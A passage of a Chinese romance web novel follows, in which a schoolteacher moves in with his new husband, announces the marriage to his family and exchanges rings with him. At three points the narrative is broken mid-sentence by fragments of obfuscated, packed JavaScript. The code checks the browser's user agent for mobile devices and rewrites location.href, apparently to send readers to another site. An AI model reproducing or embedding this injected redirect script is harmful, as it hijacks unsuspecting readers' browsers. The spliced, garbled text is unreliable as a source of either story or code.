虽然两人晚上睡觉还是分开盖两床杯子,但方知安已经完全适应了这里的布局和气息,也适应了自己身边躺着霍觅。 圈圈从床脚下蓄力,一下蹦到了两人中央,方知安一摸那毛茸茸的脊背,它就安静地伏了下来。 霍觅熄灭床头的灯,也把手放到了圈圈的背上。他和方知安只隔了一点距离,很近,不远。 * 周日霍觅没去公司,而是和方知安一起去了宿舍搬东西。 进门的时候方知安意外看见客厅里亮着灯,他一转头,对上了许夏震惊的眼神。 “你从哪回来的?”许夏还穿着睡衣,像是刚起床。他就是方知安之前的室友,教的是政治,同样在高三年级,但办公室不在一层楼。 “我给你发消息了,今天是回来搬东西的。”方知安顿了顿。 “啊消息,”许夏后知后觉地掏出手机看了眼,“我昨晚睡死过去了没看见,你真要搬走啦,虽然这里设施一般,但位置好啊,出去租房压力也太大了。” 他也不是多管闲事,只不过大家都是刚工作没几年的人,许夏和方知安关系不错,担心他太吃力。 “我不是租房子,我去我......男朋友那住。”方知安笑笑,犹豫片刻后还是没遮掩霍觅的身份。 听见这话许夏则被惊到愣在了原地,他缓缓抬头,这才看见门口还有个人。 “知、知安,这位就是你男朋友?” “不对,你居然谈了男朋友?!” 方知安对他比了个噤声的手势,无奈道:“我们刚在一起不久。” “刚在一起不久你们就同居了?”许夏还是很震惊。 他看见方知安口中的男朋友换了HelloKitty的拖鞋踏进门,身高腿长,气质不凡,刚想说出口的劝告也也卡在了嗓子眼。 “他是来帮你理东西的?”许夏凑近方知安小声说。 霍觅看着挨得很近的俩人皱了皱眉,不动声色地走到了方知安身后。 “嗯,我一个人拿不动,让他来搭把手。”方知安跟许夏原本就熟,他问起来也就直话直说。 许夏顿时了然,原先的话全部咽回了肚子里。 “那你们快去理吧,搬家可麻烦了。”许夏莫名觉得背后凉飕飕的。 方知安也没拖延,马不停蹄收拾起了东西,他原以为这事要花上大半天,但霍觅实在是能干,不论是整理还是往楼下搬东西,他一个人就做了大半。方知安看了面前空荡荡的房间,拿起手机一瞟,时间才刚过中午。 最后的东西都被带走,方知安去跟许夏说了声再见。 回了云湾搬东西变得轻松得多,不说电梯,还有公寓管家来帮忙。方知安的东西本来就不多,下午又理了理,很快就全部收拾完了。 霍觅在主卧里挪出了一半的衣柜,现在方知安的衣服放了进来,这间房间的另一位主人终于是尘埃落定。 晚上方知安说好了要回舅舅家,霍觅原本想送他去,但公司里有事他不得不去一趟。 出门的时候方知安看出来霍觅的情绪似乎不太高,于是主动问:“是不是白天太累了?” 霍觅摇摇头,抬眼看着他,只说:“假期太短了,我好像还没怎么和你独处,时间就过去了。” 他的话语直白,但又不算暧昧。方知安只能捕捉到那些最简单的情绪,偏偏就是这么一点,跟砸进湖里的石子似的,激开了层层涟漪。 “晚上我会早点回来的,”他直视着霍觅的目光,接着说,“你有什么想吃的吗,回来的路上我给你买。” 霍觅抿了抿唇,问他:“那换成别的可以吗?” “换成什么?” “再抱一下,”霍觅放轻声音,“就像上次那样。” 玄关的空间明明很宽敞,但霍觅的存在感太强,方知安面前的每一寸空气里都是他的味道。 抱一下,并不是一个多么过分的要求。 方知安上前半步环住了他的腰,柔软的黑发贴上了霍觅的肩膀和脖侧。他觉得有些热,这一次的拥抱相较于之前,似乎是更亲近了些。 他们之间的距离很近,连心跳的搏动都可以被清晰感知。 霍觅也顺势低头揽住了方知安,嘴唇很轻地擦过了面前的后颈,他的声音有些闷,像是请求:“学长,早点回来。” 方知安没察觉那短暂的越界,只跟他保证,“嗯,我会的。” * 方知安开车到舅舅家楼下的时候天已经暗了,他一开门,方奕文和之前一样扑了上来。 “哥哥哥!好久不见了,我想你了。”方奕文嚷出声,“读书好累啊,我感觉要猝死了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073678|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方知安笑着跟她聊了会儿天,这个年纪大概没什么人会真心喜欢读书,方知安也只能尽力开解了两句。 吃晚饭的时候方知安什么都没说。四个人吃的差不多了,祝莉刚放下筷子想要收拾碗筷。 方知安让她先等一等,开口道:“舅妈,我有点事想和你们说。” 祝莉和方正国没见过这架势,都不由得回到了原位,就连捧着手机吃西瓜的方奕文也看了过来。 方知安见状深吸一口气,郑重宣布: “前不久,我结婚了。” 这话一出,祝莉的瞳孔倏然放大,方正国的血压猛烈飙升,方奕文的震惊以压倒性优势胜过了那点想要玩手机的欲望。 三个人愣了一会儿后不约而同地瞪大了眼:“你结婚了??” 这样的场面不是第一次应付,方知安已经有了经验。他之前和霍觅统一了口径,用的说辞都是相亲那一套。 祝莉从吃惊到呆愣到忧虑到满意,脸上的表情变个不停,最后只是拍了拍方知安的肩膀,说:“知安长大了,这些事都可以自己做主,舅舅舅妈没什么别的想法,只要你自己幸福快乐就好。” 方正国闻言也点了点头,虽说方知安做的事完全出乎了他们意料,但这毕竟是方知安自己的选择,他们所能给的,只有尊重。 其实夫妻俩原本心里头忐忑的不行,但后来听了霍觅的条件和他爸妈的态度,心里就安顿了不少。 方知安和他们聊了许多,而在这过程中方奕文一直用一种前所未有的眼神注视着方知安。 那道目光太过难以忽视,方知安转向方奕文,“怎么一直看着我。” 方奕文飞快地眨巴了几下眼睛,她问:“哥你对象长什么样啊,你这么帅,他肯定差不到哪去吧。” 方知安一愣,他倒是想给方奕文看看,但他的手机里似乎并没有霍觅的单人照。 方奕文见不着人根本赶不走,方知安思来想去,最后给她看了两人的结婚照证件照。 方奕文看着那张照片愣了好久,甚至从脸红到了脖子根,不过那也不像是害羞,反倒像是憋得。 “配!太配了!”方奕文冒出了星星眼,脑内已经脑补出了一百八十万字的小说。 “哥,我回头可以见见你另一个哥哥吗?”方奕文不知道想到了什么,瞬间打了鸡血。 “当然可以,下次我就带他回来吃饭。”方知安虽然不明所以,但还是笑着摸了摸她的头。 吃完饭已经快要七点,方知安想着那一个拥抱,跟两位长辈打了声招呼就要走。 祝莉刚从震惊的余韵中走出,问他:“怎么这么急,不多待一会儿吗。” 方知安挥挥手,说:“还有点事,我就先走了。您和舅舅注意身体,快入秋了当心着凉。” 他说完就下了楼,开着车驶过繁华的商业街,路边的行人来来往往,方知安的注意力蓦地被一家新开业的花店所吸引。 他在车上思索了片刻,随后找地方停了车,刚进店门就被花香扑了一脸。 方知安对花的了解不多,只凭着直觉选了一束。 店里没别的店员,只有老板一个,他看见方知安选了花就走过去问他要不要贺卡。 “贺卡不用了,不过这花好养吗?”方知安问。 “好养的,你回去那个花瓶装点水,这花往里一插可以开一个多星期呢。”老板笑着给那捧花束外边打了个蝴蝶结丝带。 “你眼光不错啊,这束花是我扎得最久的一束,”老板把花束递到方知安手里,“是不是要送人?” 方知安付了钱,要出门的时候抬起头,正好瞧见天上的月亮莹白,明净又纯粹。 老板的问题伴随着花香而来,方知安也弯了眉眼,他笑着说:“是啊,送我对象。” 15. 一床被子 何泽觉得自己最近格外倒霉,先是找小男生被前男友撞见,当街被甩了一个巴掌,然后居然同时被两边甩了。 不过这也不算大事,何泽第二天还是跟没事人一样去上班,同事的目光倒在他脸上停留不去,不过他不开口,也没人会真正去问。 何泽原本还打起了劲要把方知安追回来,结果一转眼,他自己工作上又出了岔子。 一个谈了很久的项目出了问题,何泽是负责人,这么一出太过突然,险些拖累公司大组的进度。 这下可好了,何泽本来板上钉钉的晋升泡了汤,觊觎已久的位置被别人坐了去不说,主管还找上了他的麻烦,在办公室里把他骂得体无完肤。 他现在还在尽力补救,原本的假期没了影,自己还连着在公司加了半个月的班。 何泽这人有些自负,以前不论读书还是工作都顺风顺水,从没这么水逆过。 最近这些天的加班搞得他心力憔悴,眼下坐在办公桌前一脑门官司,只想着快点把活干完。 觅途虽然加班多,但待遇很好,公司食堂的味道更是没话说。 何泽在工位上坐了一下午,周围同事看时间差不多了纷纷起身起吃饭,他也跟在后面。 打开手机,迎面就是十几条通话记录,这都是何泽打的,但对面的方知安没接过一个。 何泽起先也想好声好气把人哄回来,但方知安一点面子不给,他现在的心态也愈发恶劣起来。 不过是个高中老师,要不是看他工作体面长得不错,自己用得着这么低声下气么? 何泽跟着同事等电梯,心里不忿,决定等自己闲下来再处理这事。 他和方知安谈上还没半个月,为了配合方知安,他可是连手都没牵过。等到回头他把人弄回来,一定要玩个够本。 他脑子里正想着,就有一道视线落下,不偏不倚,正对着他。 何泽混混沌沌地抬起头,一看来人立马打起精神,站正和同事一块儿说:“霍总好。” 霍觅从走廊那头缓步走来,原本还在聊天的员工一见着人瞬间噤了声。 他脸上没什么表情,略显冰冷的视线只在人群中停驻了片刻就移开,没人知道他是在看谁。 而姜卓跟在霍觅身后,正和他交代着下周的安排。没人敢上前主动搭话,大家都安安静静等着电梯。 霍觅和姜卓坐的是另一部专属电梯,比起员工这边来得更快。 霍觅微微颔首走了进去,姜卓则温和笑着,和众人打了个招呼。 电梯门缓缓合上,这边七八个人看老板走了才舒出一口气。 他们你看看我我看看你,最后有点懵地发问:“霍总今天是不是心情不好?” “不知道啊,但他刚才看起来好吓人。” “我看他往这看的,也不知道是谁惹了他。” “谁敢惹霍总啊,这冷面阎王。”有人比了个杀头的手势,然后又马上闭上了嘴。 “得了,”何泽听着耳边叽叽喳喳的声音只觉得烦,“老板的事别去管了,和我们有什么关系。” 旁边年纪大点的人不满的撇了撇嘴,等进餐厅和何泽拉开了距离才和身边的人说:“这家伙想当领导结果捅了篓子,现在派头还这么大,他以为他是谁啊。” “这么说他不好吧?”旁边的人挠了挠头。 “这有什么,”老员工一副无所谓的样子,“他这人啊,我跟你说,以后肯定还要出大问题。” 员工这边的事姜卓不清楚,但他知道自己老板今天大概是打了鸡血。 下午给霍觅的电话是姜卓打的,当时公司里还积压了一堆事,结果今天霍觅才来公司一个半小时就把那些全部处理完了。 姜卓也不知道老板急着要去做什么,他也没多问。不过他仔细想了想,也能猜到这大概和那位方先生有关。 “您要是没别的安排,那接下来一周的行程就是我刚才说的那些了。” 霍觅闻言应声,按着姜卓说的暂时将行程定了下来。 “那晚上李总那边您真的不去了吗?” “不去了,李叔不会介意的,”霍觅走得很快,上车前回头看了眼,“我先走了。” 刘叔在楼下等了有一会儿,见霍觅上车,他问道:“您是直接回云湾吗?” 方才的冷峻在不知不觉间融化,霍觅看了眼窗外觅途的大楼,说:“嗯,家里有人等。” * 霍觅回家一开门,里面灯是亮的。 方知安也才刚到没多久,手里的花都还没来得及放下,他抱着转过身,有些意外地开口:“公司里的事都好了?” “嗯,”霍觅的视线定在那束花上,“怎么买花了。” 方知安笑笑,等他走近之后把花塞进了霍觅怀里,说:“路上看见有家花店新开业,我去看了看,这是给你的。” “好看吗?”方知安乌亮的瞳孔倒映着一点花瓣。 “好看。”霍觅神色柔软,“我很喜欢。” “对了,今天你去之后,他们怎么说?”霍觅问。 方知安知道他说的是什么,回道:“他们刚开始被我吓了一跳,不过后来都说开了,舅妈让我下次记得带你回去。” “我的厨艺就是从我舅妈那学的,以后你去了可以好好尝尝。” 霍觅这下终于松了口气,他有些无奈地说:“傍晚那会儿我紧张坏了,要是长辈不喜欢我,我都不知道怎么办。” “我都说了,他们肯定满意。”圈圈听见外面的动静慢吞吞跑了出来,方知安把它一把抱起。 “长辈满意,那我应该还算讨人喜欢?”霍觅抱着花,像是被粘住了一样不肯放下。 他也走到方知安旁边,跟着一块儿逗圈圈,眼看着猫爪子要糊上来有很有经验地往旁边一躲。 “嗯。”方知安也没多想,霍觅这么问他就应了声。 霍觅垂下眼,又问他:“学长,那我讨你喜欢吗?” 方知安似乎没想到他会这么直白,一抬头,又对上了霍觅认真的神色,似乎是真的很好奇方知安的回答。 “嗯。”方知安不擅长说谎,想了想,还是实话实说。 他话语简短,不过霍觅已经得到了想要的答案,心满意足地摸了摸圈圈的脑袋。 气氛有点古怪,方知安岔开了话题,“家里有没有花瓶,这样摆久了好像会枯,我把它们都插起来,老板说能放一周。” 霍觅心情愉悦,小心翼翼地把花放在桌上,“刚搬来的时候应该有一个,你等我去找找。” 家里的东西不算多,霍觅翻了几个柜子就找到了那个花瓶,方知安把花一点点插好,放在了餐桌旁边。 里面有几朵桔梗花,圈圈闻到那个味就一直绕着打转,后来还用爪子扒出来了几多。它正要下嘴,又被霍觅制止。 “这是学长送我的,你不许动。”霍觅看着猫,他们大眼瞪小眼,最后圈圈让了步,打了个哈欠在餐桌上趴了下来。 方知安白天因为搬东西热出了一身汗,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073679|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受不了身上黏腻的感觉,先进了浴室。 水声渐大,方知安放在床头充电的手机突然震动起来。 浴室里的人听不见,霍觅拿起方知安的手机,来电号码没有显示姓名。 他静静站在那,盯着那串号码看了一会儿,然后毫不犹豫地点击了挂断。 等到方知安出来,霍觅没提刚才那事,只当自己什么都没做过。 洗完澡方知安才想起来周六带回来的试卷还没做,他进了书房,霍觅也跟着在旁边坐了下来。 书房里的窗户开了一半,外头的夜风静静吹进来,方知安埋头做卷子,而霍觅装模作样开了电脑,实际上撑着脸悄悄往方知安那头看。 傍晚的拥抱像是一点星火,被那个未知的电话无声点燃。 霍觅见方知安放下笔,没忍住开口问:“学长,我想问你个事。” “你说。”方知安揉了揉酸胀的太阳穴。 霍觅顿了顿,问他:“你会介意亲密行为吗?” 方知安一愣,脑子还没从历史题目里出来,他消化了几秒开口道:“我,不是很介意,但这些……我都不大了解。” 霍觅闻言笑了笑,说:“我也不了解,学长,我以前没谈过恋爱。” 方知安之前没问过霍觅这方面的问题,但他确实没想道霍觅这样的条件居然是母胎单身。 “那你说的是哪些亲密行为?”方知安拿不准霍觅的意思,莫名有些紧张。 “嗯......牵手,拥抱什么的,”霍觅随便说了点,“这些可以吗?” 方知安原本紧绷的脊背稍稍放松,真要让他和霍觅像当初那一晚一样,他现在还有些接受不了,但如果这是这些的话,他完全没意见。 “我不介意,”方知安扶了扶眼镜,“你想的话,我都可以。” 方知安说这话的时候没想太多,霍觅后来也没提什么要求,只是等他收拾完桌子才一道起身。 但等到晚上睡觉,霍觅却翻过身来问他:“学长,我们可以睡一起吗?” 方知安一怔,“现在不就在一起吗?” “但我们都没睡一床被子,”霍觅很轻地抱怨,“这和分床睡一样。” “你说我想的话都可以,那今晚我可以睡你那吗?”霍觅试探着问。 方知安迟疑片刻,但那毕竟是自己说出去的话,临阵不好反悔。 他掀开一点被角,有点僵硬地说:“那你进来吧。” 下一秒,霍觅就抛开自己的被子钻了进来,他微短的黑发蹭到了方知安的脸颊,方知安的头也正好挨上了霍觅的脖子。 这还是他第一次在完全清醒的情况下和霍觅靠这么近。 霍觅不动声色地把自己的被子从床上踹了下去,然后贴着方知安的胳膊问:“学长,那我们还可以再牵个手吗?” “也可以。”方知安说。 他没拒绝霍觅的请求,但被子里一片混乱,他不知道霍觅的手在哪。 方知安刚想去找,霍觅的下巴就靠上了他的肩窝。方知安顿时觉得有些热,脖子连带着耳朵都在发烫,还泛着痒。 “别动。”霍觅的声音有点哑,“我去找你就好。” 方知安的手僵在腿侧,心跳的声音格外鲜明,片刻后,一只宽大的手掌从他的手背摩挲而过,带着一点温热,随后从指缝中扣了进来。 那是霍觅的手。 “牵到了,学长,”霍觅的声音很轻,几乎是贴着方知安的耳朵,“祝你今晚做个好梦。” 16. 约会戒指 这一晚倏忽而过,他和霍觅也算是“相敬如宾”,除了手搭在一块儿,其他都没什么太亲密的举止。 翌日又是周一,方知安坚定认为周一早上大概没什么人会有好心情。 他恹恹地起床,霍觅要出门前又问他:“我真的不可以送你去上班吗?” “怎么这么想送我去。”方知安不答反问,拎起门口的包。 “结了婚的夫妻不都这样吗,”霍觅抿了抿唇,“我就是想离你的生活更近一点。” 方知安笑了笑,他说:“为什么要纠结这个,你现在不就在我生活里了吗。” 霍觅一愣,似乎是没想到方知安会这么说,这话熨帖,但他还是不死心:“那下次我换辆车,可以送你吗?” 方知安没想到霍觅这么执着,看着那副像是撒娇的表情,他总觉得心里痒痒的,于是说:“别折腾了,明天吧,好不好。今天我有点事,没车不方便。” 霍觅闻言嘴角一下扬了起来,方知安就在他身前,他很快地抱了一下对方。 之前他还会礼貌地询问可不可以,但自从昨天得到了方知安的应允,霍觅的胆子就大了不少。 方知安原本要往外走,被霍觅这一抱绊住了脚。早上强制开机的大脑还没清醒,于是也迷迷糊糊回抱了一下。 他这人比较迟钝,对外界的感触总是慢一拍,但霍觅脸上的笑实在惹眼,以至于方知安坐到了办公室里心都还没静下来。 以前怎么没发现霍觅这么爱撩拨人。 沈苗苗今天要管早读,也来得早。 她看见方知安眼角的笑,没忍住调侃道:“方老师周末过得很惬意嘛。” “嗯,确实不错。”方知安没否认。 “谈恋爱就是不一样,我早说你该找个对象的。”沈苗苗笑呵呵拿出语文书最后啃了一口包子拐去了教室。 周一事多,方知安也忙,上午在班里讲完试卷抽完背,再下一节课又要换一栋教学楼去听课。 方知安脚步匆匆,听见身后传来奔跑的声音,一回头,看见是梁巡在后头着急忙慌地追了上来。 “方老师等等!”梁巡拦住方知安,大喘着气。 “怎么了,找我有事?”方知安一脸诧异,下课之后廊道上人不少,方知安让梁巡站到墙边去。 梁巡从手里变戏法一样拿出一个盒子,笑着说:“这个是妈妈让我给你的,她和我爸又出国了,我哥又忙,只能我来给了。” “这是什么?”方知安看着梁巡手里方方正正的盒有点懵。 “我也不知道,”梁巡挠了挠头,有点不好意思,“嫂……方老师你拿回去再看吧,我还有作业,就先回去了。” 方知安接过盒子,落到手里沉甸甸的。 时间很赶,方知安回到办公室打开看了一眼,里面是居然是一个成色极佳的玉质手镯! 他吓了一跳,这手镯出自梁女士,价值不言而喻。 方知安根本没敢多碰,生怕把它弄坏了,小心把盒子收拾起来。 到了要听课的教室,他找了个最里头的位置,竖起听课笔记给自己打掩护后才拿出手机给霍觅发消息。 【圆:!伯母让梁巡给了我一个玉手镯,怎么办,这太贵重了,我不能收】 霍觅回得很快。 【霍觅:这是梁女士的见面礼,要是你不收,她可能会送点别的】 【圆:譬如……】 【霍觅:房子,跑车,小岛什么的,他们比较俗气,估计也只能想到这些】 方知安心里一惊,属于悲催社畜的金钱观又被轻轻刷新。 【霍觅:梁女士不在意这些的,你收下就好】 【霍觅:对了,学长你现在在做什么呢?】 方知安心里惊涛骇浪,他悄悄举起手机拍了张前面黑板的照片传给了霍觅。 【圆:在听课,不过可能是开小差】 【霍觅:学长,你是老师怎么也开小差?】 【圆:那你在干什么[凋谢/]】 霍觅那边极快的回应停了会儿,半晌才传来回音。 【霍觅:在会议室摸鱼,和一个开小差的老师聊天[握手/]】 * 听完课已经是中午,但方知安没打算在学校里吃饭,他早上和霍觅说今天有事不是托词,是真的有事。 前段时间买的戒指到了,但当时方知安还没确定要和霍觅同居,因此收货地址填的是原来的职工宿舍,所以现在方知安还得抽空回去拿一趟。 他和霍觅之间似乎欠缺了很多,譬如婚礼、婚纱照和求婚,但方知安对这些并不执着。 他之所以会答应和霍觅领证,一是因为霍觅主动提议,二则是因为他自己贫瘠的生活亟需一段稳定关系的填补。 而就从现在看来,霍觅的一切都很符合方知安的预期,甚至远远超过。 他们之间或许没什么感情基础,仅有的只有大学时期朦朦胧胧的回忆,和当时在酒店混乱沉醉的一夜。 但正好,方知安对感情不熟悉、不了解,人生历程顺序的调换或许正好给了他一个机会。 快递站就在宿舍楼底不远处,方知安拆了包裹,里面装着精致的证书和戒指盒。 现在戒指有了,但要怎么送呢? 求婚,这似乎有点突兀。 直接送,这好像又有点草率。 方知安有点为难,正好这时霍觅打来了电话。 “学长,今天晚上有空吗?”霍觅问。 “有,怎么了?”方知安的晚自习一般被安排在周二周三,周一晚上还算空闲。 霍觅闻言心情愉悦:“那我们今晚出去吃吧,就当是约会怎么样?” 方知安一怔,约会两字突然出现,让他生疏又好奇。 他没马上回答,霍觅还以为他不乐意,语气一下变得委屈起来:“学长你不想去吗,但是我们领证到现在都没好好庆祝过……” “没有,我没有不想去,”方知安连忙说,“晚上哪里?” “我发你位置,到时候你下班了可以直接去,”霍觅话语中的的委屈瞬间消失不见,“那我们晚上见。” “嗯,晚上见。” 方知安挂了电话,低头时目光触及到了手中的戒指盒。 他原本还在思索哪里去找机会,但——机会现在不就送上门了吗? * 霍觅选的餐厅很别致,座位靠着玻璃窗,往外俯瞰可以看见整座杭城的夜景。 这里地段很好,但来就餐的人却不太多,整个餐厅都安静,只有音乐的声响,而方知安刚过转角就看了霍觅的背影。 “你来的好早。” “公司离这近,你快坐,看看吃点什么。” 方知安也不知道这里什么好吃,就让霍觅推荐着随便点了些。 霍觅点菜不铺张,差不多就点了两个人的量。 霍觅吃饭的时候撑着头看向方知安,和他聊起了大学那会儿的事。 “当时你们那一届毕业,负责人都走得差不多,我们忙得焦头烂额,第一次发现一个社团能有这么多事。” “都有这么一回,我当时刚当上负责人也两眼一黑,”方知安笑着说,“不过还好不是只有我一个,我记得好多事我来不及还是余思雨帮的忙。” 霍觅原本嘴角微微上扬,听见余思雨的名字后弧度僵硬了一瞬。 “那我呢,我也打了好久下手。”霍觅不甘示弱。 方知安闻言像是哄人一样说:“没忘记,你当时出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073680|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑采访累得不轻,我还记得你在我们寝室坐了会儿就睡着了。我还以为你怎么了,被吓了一跳,结果就是太累了。” 方知安被霍觅的话勾起了陈年的回忆。 他还记得那天外面下着大雨,天气闷热潮湿,也是一个夏天的周末。和方知安同届的一个负责人得了急性阑尾炎住了院,原本由他负责的采访缺了人,方知安抽不开身,一直沉闷不说话的霍觅却主动把担子挑了起来。 他们要采访的是一个以前的优秀校友,霍觅做完采访回来已经是晚上,他以前没理过稿子担心出差错,就特地跑了半个校园去方知安的寝室楼找他。 那天是周末,余思雨和另外两个室友都回了家,方知安不过改个稿子的间隙,等到再回头,霍觅已经靠在凳子上昏昏沉沉睡了过去。 寝室里只有他们两个。 椅子上的霍觅从大雨里跑过来,全身湿淋淋的,黑发搭在了一块儿,像小狗一样可怜。 方知安没叫醒他,给他拿了条毯子盖子。霍觅就这么凑活着在他们寝室待了一晚。 思绪回笼,方知安看着眼前更加成熟硬朗的面孔有点恍惚。 或许,自己与他的交集比想象中的要更多一些。只不过大多数细碎的片段都散落到了回忆中,变得难以找寻。 晚饭吃的差不多,霍觅抬眼问方知安:“学长,我们要不要去外面看看,这间餐厅出去还有个空中花园。” 方知安欣然应允,和霍觅一道走了出去。 九月头上降温来的突然,方知安今天披了一件薄外套,右侧的口袋鼓鼓的。 霍觅刚转过身想要说什么,就看见了方知安欲言又止的神色。 “学长,你怎么了?” 方知安心跳加速:“我有点东西要给你。” “什么东西。”霍觅看着他,眼底倒映着城市的光点。 “这个。”方知安说着,很快从口袋里拿出一个盒子,他伸手打开,里面是一枚戒指。 素圈戒指很简单,没什么太多的装饰,戒环内部刻着霍觅名字的缩写,在这旁边有一轮很小的月亮。 “给我的吗?”霍觅的声音很低,他垂下眼眸,静静看着方知安手中的戒指盒。 “嗯,是给你的,”方知安眼神闪躲了一瞬,“不知道你喜不喜欢,毕竟我没和你商量——” “我很喜欢。”霍觅语气肯定,他接过那枚戒指,一眼就看见了那个月亮。 “那你的呢?”霍觅又问。 方知安从另一个口袋里拿出属于他自己的,只不过内环的花纹变成了一颗星星。 霍觅从戒指盒里把那枚属于他的戒指拿了出来,然后对方知安说:“学长,给我一只手。” 方知安不明所以,把手递了过去。 结果下一秒霍觅把刻着自己名字的那枚戒指戴上了他的无名指。 那枚戒指是比着霍觅的指围定制的,戴在方知安手上不算太合适,稍微松了点,但霍觅没松手,只是往下推,冰凉的金属蹭着骨节滑进,最后驻留在指间,镌刻下了一道环印。 方知安失了语:“可这是给你的。” 霍觅笑了笑,从他手里拿过另一枚,从顺如流地戴上了手,戒指自己没落到底,但霍觅将它推了进去。 “我要这个,现在戴上了,就不摘了。” “可你当时不是说要月亮花纹的?”戒指的存在感很强,方知安第一次戴,还有些不习惯。 霍觅的手牵着他的,冷与热碰撞在一处,方知安心头一跳。 空中花园的顶上是透明的玻璃,一些藤蔓上爬,将天空割成了一块块。 霍觅抬头,指了指中间那一轮被藤蔓圈在半空的月亮,笑着说: “因为月亮,我已经有了。” 17. 交给我吧 月光皎洁,静默地洒在方知安身上。 其实他之前就发现,霍觅在某些时候总带着点浪漫。虽然不太明显,不过方知安总能慢半拍地被他撩动。 不好说这是有意还是无意,但方知安并不反感,相反,他还挺吃这一套。 “其实我也有东西要给你,”霍觅把手伸进口袋,片刻后拿出了一个相似的盒子,他笑了笑,“虽然被学长抢先了,但现在应该也不算迟。” 霍觅打开盒子,里面躺着的也是一枚戒指,但这枚戒指上还穿了一条链子。 “你怎么也……”方知安很意外,眼睛都睁大了。 他还以为只有自己借着这次的约会要送礼物,没想到霍觅和他想到了一块儿去。 霍觅把项链递给方知安,垂下眼睫,像是有点害羞地说:“不知道你愿不愿意戴戒指,所以配了一条链子,戴在脖子上别人就看不见了。” 送出和收到礼物是两种截然不同的心情。 银链冰凉,方知安接过时它轻轻晃动,两枚戒指撞在一起,发出了一声轻响。 * 餐厅外面的花园空间很大,方知安自从上次送了霍觅花之后就对花花草草起了兴趣,他和霍觅边散步边聊天,心情很舒服。 他以前很少这么放松,但在霍觅身边时,这种极少的时刻却探出了头。 准备回家时方知安接到了一个电话,他看了眼来电人,面色变得不太好。 在霍觅察觉出不对劲之前,方知安挤了出一个笑,他说:“你在这等我一下,我去接个电话很快就回来。” 他说着就拐进了花园,霍觅看出来方知安并不想自己让自己听见,因此没有跟过去,只是站在餐厅和花园的交界处等着。 晚上的餐厅冷清依旧,远处的脚步声逐渐靠近,霍觅转过身向走廊看去。 “霍总,在这等人呢?”一个男声响起,带着点漫不经心的调侃。 霍觅瞥了眼来人,脸上的笑消下去一点:“陆其,你怎么来了。” “我开的店还不让我来啊,霍觅你别太霸道啊。”陆其长得很英俊,但不同于霍觅那种硬朗锋利具有侵略性的五官,他的面容更柔和,看起来没什么攻击性。 “我说你今天为什么突然来我这吃饭还要包场呢,原来是早有预谋。” “你很闲?”霍觅眼眸轻抬,颇有些无语地看了他一眼。 陆其倒是不以为意,他和霍觅从小一块儿长大,老早习惯了对方说话的冲味,因此只是笑嘻嘻地说:“你别急啊,我都听梁姨说了,你居然真的闷不吭声和人结婚了啊?” “是,刚领证不久。”霍觅惜字如金。 “不过......”陆其顿了顿,“其实我刚看你对象觉得还挺眼熟的,是不是我以前在哪见过啊。” “是在哪呢?”陆其摩挲着下巴思考。 陆其大学是出国读的,但是偶尔放假回国闲不住,总会跑到霍觅学校里溜达两圈。当时霍觅身边朋友不多,陆其只来了几趟就和人全部处成了哥们,但凡有什么活动都带着他玩。 陆其思来想去,越发觉得方知安看起来面熟。 “你是见过。”霍觅看了眼方知安的方向,直白说,“他是我以前的学长,比我大两届。” 陆其眉心微蹙,顺着霍觅的话语终于从回忆里找出这么一个人来。 他这人记性不算好,之所以会对方知安有印象,完全是因为霍觅。 霍觅大三那年运动会陆其去了,他原本想和霍觅一起找乐子,结果霍觅全程待在看台边上没走。陆其百无聊赖,一回头却发现霍觅目不转睛地盯着看台脚下的志愿者棚看。 陆其沿着他的视线看去,只看见了一张漂亮的侧脸。 男生披着志愿者的红马甲给前面的运动员递水,他身段挺拔,笑得好看,眼角眉梢的弧度都温柔大方。 陆其的眼睛一点点瞪圆,表情开始变得不可置信:“你你你,你不会从那会儿就……不是吧哥们!” “你别跟我说你这个条件,现在还在搞暗恋?” 霍觅原本嫌他叽喳聒噪,但听见陆其这话却没回答,只是默默移开了视线。 陆其一看霍觅这表情就知道自己是戳到他肺管子了。 “依照我对你的了解,你那位学长现在应该不知道这事吧。”陆其悠悠挑眉,一幅胜券在握的样子。 做生意这方面他远不如霍觅,但论情情爱爱,陆其自认为还是比霍觅强得多。 但霍觅恍若未闻,他只是举起自己的手,而陆其一眼就看见了无名指上那枚惹眼的戒指。 “你这是干嘛?” “给你看看我的婚戒。” “学长送我的。” 陆其闻言立马“咦”了一声,他怪声怪气说:“学长俩字还挂嘴边呢霍总,我要是没理解错的话,你是在跟我炫耀吗?” 霍觅眉梢轻抬,他看见远处花园门口的人影在慢慢靠近:“是,那又怎样。” “你学长知道你什么德行吗?”陆其撇嘴,很快被霍觅斜了一眼。 